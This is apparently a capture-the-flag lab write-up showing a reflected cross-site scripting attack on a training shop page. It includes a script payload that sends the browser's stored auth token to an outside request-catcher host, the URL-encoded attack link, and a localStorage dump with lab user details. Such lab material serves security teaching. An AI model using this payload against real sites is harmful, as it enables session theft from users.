

Task 5:

1. Url Request Catcher: <https://4a9eab9c-12f0-4db5-95b2-99621718eccf.i.vuln.land/>
2. Url WebPage by Shop: <https://ce0fa105-b379-4f88-b708-ddedca170072.i.vuln.land/#!/shop?selectedQuantity=1>
3. The JavaScript Code for save the authentication token in the Request Catcher:

```
<script>fetch("https://4a9eab9c-12f0-4db5-95b2-99621718eccf.i.vuln.land/lol?token="+localStorage.getItem("token"));</script>
```
4. The final Url: [https://ce0fa105-b379-4f88-b708-ddedca170072.i.vuln.land/#!/shop?selectedQuantity=%3Cscript%3Efetch\(%22https:%2F%2F4a9eab9c-12f0-4db5-95b2-99621718eccf.i.vuln.land%2Flol%3Ftoken%3D%22%2BlocalStorage.getItem\(%22token%22\)\);%3C%2Fscript%3E](https://ce0fa105-b379-4f88-b708-ddedca170072.i.vuln.land/#!/shop?selectedQuantity=%3Cscript%3Efetch(%22https:%2F%2F4a9eab9c-12f0-4db5-95b2-99621718eccf.i.vuln.land%2Flol%3Ftoken%3D%22%2BlocalStorage.getItem(%22token%22));%3C%2Fscript%3E)
5. To get this, you must:

Delete “1” in the WebPag Url and add this:

```
%3Cscript%3Efetch(%22https:%2F%2F4a9eab9c-12f0-4db5-95b2-99621718eccf.i.vuln.land%2Flol%3Ftoken%3D%22%2BlocalStorage.getItem(%22token%22));%3C%2Fscript%3E
```

This is the JavaScript Code but this is already Encoded(Url encoding or Percent Encoding)

6. Inspect the webpage for checking the result in Request Catcher:

```
localStorage
  ↳ Storage [user: {"isRetailer": false, "id": "5aa0401e876d9d35d439785", "username": "customer1", "firstname": "Peter", "lastname": "Holzmann", "email": "Peter.Holzmann@gmail.com"}, flag: "'ed3252e7-18ac-4043-b78a-7a54f0b77653'", items: "[1]", length: 4, token: "'eyJhbGciOiJIUzI1NiIsInR5cCIkIkpVVCJ9eyJpc1JlJ0FpbGVyIjpmYWxzZSwX2lkjjo1MF7MD04Mj04NzKz0Qz0W00Mrk300VjIw1dXNlcn5hbmUj01JjdxN00211cJEiLCmaxJzdg5hbmUj01Jj0ZXRlcilIsImxh3RuY111joi5G9sem1nbm41LCJlsWPoCI6I1BldGvyLkhvbptYHs0GtYmVs1mNhVs1sInhdI0M7cy0TAuNz1Mw1YXVkjoi2cVz1s1m1zcyl1m1Ynho3A1tQ.8v0Zebo3f01NpacAH0Mcac19gQ8dLTk981WP701f6c", length: 4]
  ↳ items: "[1]"
  ↳ length: 4
  ↳ token: "'eyJhbGciOiJIUzI1NiIsInR5cCIkIkpVVCJ9eyJpc1JlJ0FpbGVyIjpmYWxzZSwX2lkjjo1MF7MD04Mj04NzKz0Qz0W00Mrk300VjIw1dXNlcn5hbmUj01JjdxN00211cJEiLCmaxJzdg5hbmUj01Jj0ZXRlcilIsImxh3RuY111joi5G9sem1nbm41LCJlsWPoCI6I1BldGvyLkhvbptYHs0GtYmVs1mNhVs1sInhdI0M7cy0TAuNz1Mw1YXVkjoi2cVz1s1m1zcyl1m1Ynho3A1tQ.8v0Zebo3f01NpacAH0Mcac19gQ8dLTk981WP701f6c"
  ↳ user: {"isRetailer": false, "id": "5aa0401e876d9d35d439785", "username": "customer1", "firstname": "Peter", "lastname": "Holzmann", "email": "Peter.Holzmann@gmail.com"}
  ↳ <entries>
  ↳ -prototype: StoragePrototype { key: (key), getItem: (getItem), setItem: (setItem), ... }
```

Result in Request Catcher:

